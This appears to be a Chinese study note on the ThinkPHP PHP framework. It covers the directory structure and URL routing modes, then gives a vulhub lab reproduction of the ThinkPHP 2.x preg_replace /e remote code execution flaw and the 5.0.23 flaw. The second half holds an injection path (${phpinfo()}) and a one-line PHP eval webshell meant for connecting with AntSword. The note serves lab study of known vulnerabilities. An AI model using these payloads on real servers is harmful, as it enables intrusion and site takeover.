ThinkPHP2.1基础学习
学习文章:
重点知识总结
ThinkPHP的文件夹规范分为两大块,一个是系统目录结构,一个是项目目录结构
一:系统目录结构(即ThinkPHP核心目录):
ThinkPHP.php文件:项目初始化时,单一入口文件必须引入的一个文件,因为系统目录必须通过这个文件查找
Common目录:一些公用的函数,比如说D()、F()等等;其中的convention.php包含ThinkPHP中所有的配置文件需要用到的东西等等
Lang目录:语言包,就是将ThinkPHP可能产生的一些错误和异常与对应的文字说明做一个映射。而文字说明可以是中文、英文或其它语言,如果是中文就是中文包,英文就是英文包等等
thinkphp-2.1/Think/Lib/Think
Db:数据库相关
Exception:异常处理类
Template:模版解析类(使用ThinlPHP自带的类库进行模板解析)
Util:与缓存、Cookie、Session等相关
二: 路径与模版控制器
ThinkPHP规定
- 所有的主入口文件默认访问index控制器(模块)
- 所有的控制器默认执行index方法()
两点独立:所有的主入口文件默认访问index控制器,并默认执行index方法(不准确)
三:URL的四种模式
ThinkPHP属于MVC框架,所有请求都有路由决定
- 普通模式
http://ip/projectName/index.php?m=moduleName&a=actionName&id=1
- PATHINFO模式
智能模式
http://ip/projectName/index.php/moduleName/actionName/id/1
使用PATHINFO模式时,无法使用传统GET传值(&id=1),否则系统会将actionName&id=1整体认作一个动作名称
普通模式:
http://ip/projectName/index.php/m/moduleName/a/actionName/id/1
指明了模块和动作(顺序可调)
ThinkPHP2.x (3 Lite)任意代码执行漏洞
漏洞原因:使用了pre_replace的/e模式匹配路由
preg_replace('正则规则','替换字符','目标字符')
如果目标字符中存在符合正则规则的字符,那么就替换为替换字符
/e
则表示执行模式,可以把匹配来的字符串当作正则表达式执行
(PHP版本>7不再支持/e模式)
preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("1")', $_GET["h"]);
若这一句代码给h传入?h=[php]phpinfo()[/php],经过正则匹配,会变成’test(“phpinfo()”),
但是在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理
本地测试:
同样eval命令也能得到实现
进入vulhub靶场,docker-compose up -d
启动环境
根据报错信息,可以定位至漏洞文件
该文件在Lib
目录下,且结合注释,可得知该文件完场URL的解析、路由和调度
下一步审计代码寻找漏洞
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['\1']="\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
数组$var
在路径存在模块和动作时,会去除掉前2个值。而数组$var
来自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));
也就是路径。
因此可以直接构造/xxx/xxx/xxx/${phpinfo()}
直接写webshell即可连接蚁剑
5.0.23漏洞复现
漏洞信息:5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
写webshell
echo '<?php eval($_POST[aaa]); ?>' > shell.php
蚁剑直接连接